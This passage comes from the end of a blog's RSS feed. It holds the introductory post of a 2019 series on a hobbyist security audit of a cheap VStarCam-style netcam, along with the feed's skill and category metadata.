  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Intro</title>
      <link>https://sol.vin/vstarcam_journey/0.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/0.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/1.jpg" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/1.jpg" />
      <description><![CDATA[<p>Hello everyone! Welcome to my new blog!</p>
<p>Today I wanted to talk about a project I&#39;ve been working on, and detail some of the things I found and stuff I tried. I think it&#39;ll be a good post mortem for myself to study later when I need some of these tactics again.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<p>A couple years ago, after watching a <a href="https://www.youtube.com/watch?v=B8DjTcANBx0">wonderful presentation at BlackHat</a>, I bought a cheap $20 unbranded netcam. The camera came with a serial number on the bottom (C7824WIP). The camera itself isn&#39;t the worst, I mean it is a low quality Chinese camera, but the features on the device were pretty interesting. It has 2 axis panning, infrared night vision, speaker, microphone, and both wireless and wired connections, which is pretty good considering it only cost me like $20. However, a couple aspects about the device really made me worry, and as a security guy, I wanted to dig deeper.</p>
<p>I decided I&#39;d try to do a full security audit on the device. I wanted to try it because I didn&#39;t really know anything about security cameras at the time, and I really wanted to try some of the skills I&#39;ve picked up over the years. Black box testing can be really fun, and I love trying something I have little knowledge of just to see if I can succeed. I ended up learning a lot, which I would love to write down and share.</p>
<p>All source code is on <a href="https://github.com/sol-vin/vstarcam-investigational-journey">sol-vin/vstarcam-investigational-journey</a></p>
]]></description>
      <content:encoded><![CDATA[<p>Hello everyone! Welcome to my new blog!</p>
<p>Today I wanted to talk about a project I&#39;ve been working on, and detail some of the things I found and stuff I tried. I think it&#39;ll be a good post mortem for myself to study later when I need some of these tactics again.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<p>A couple years ago, after watching a <a href="https://www.youtube.com/watch?v=B8DjTcANBx0">wonderful presentation at BlackHat</a>, I bought a cheap $20 unbranded netcam. The camera came with a serial number on the bottom (C7824WIP). The camera itself isn&#39;t the worst, I mean it is a low quality Chinese camera, but the features on the device were pretty interesting. It has 2 axis panning, infrared night vision, speaker, microphone, and both wireless and wired connections, which is pretty good considering it only cost me like $20. However, a couple aspects about the device really made me worry, and as a security guy, I wanted to dig deeper.</p>
<p>I decided I&#39;d try to do a full security audit on the device. I wanted to try it because I didn&#39;t really know anything about security cameras at the time, and I really wanted to try some of the skills I&#39;ve picked up over the years. Black box testing can be really fun, and I love trying something I have little knowledge of just to see if I can succeed. I ended up learning a lot, which I would love to write down and share.</p>
<p>All source code is on <a href="https://github.com/sol-vin/vstarcam-investigational-journey">sol-vin/vstarcam-investigational-journey</a></p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
  </channel>
</rss>
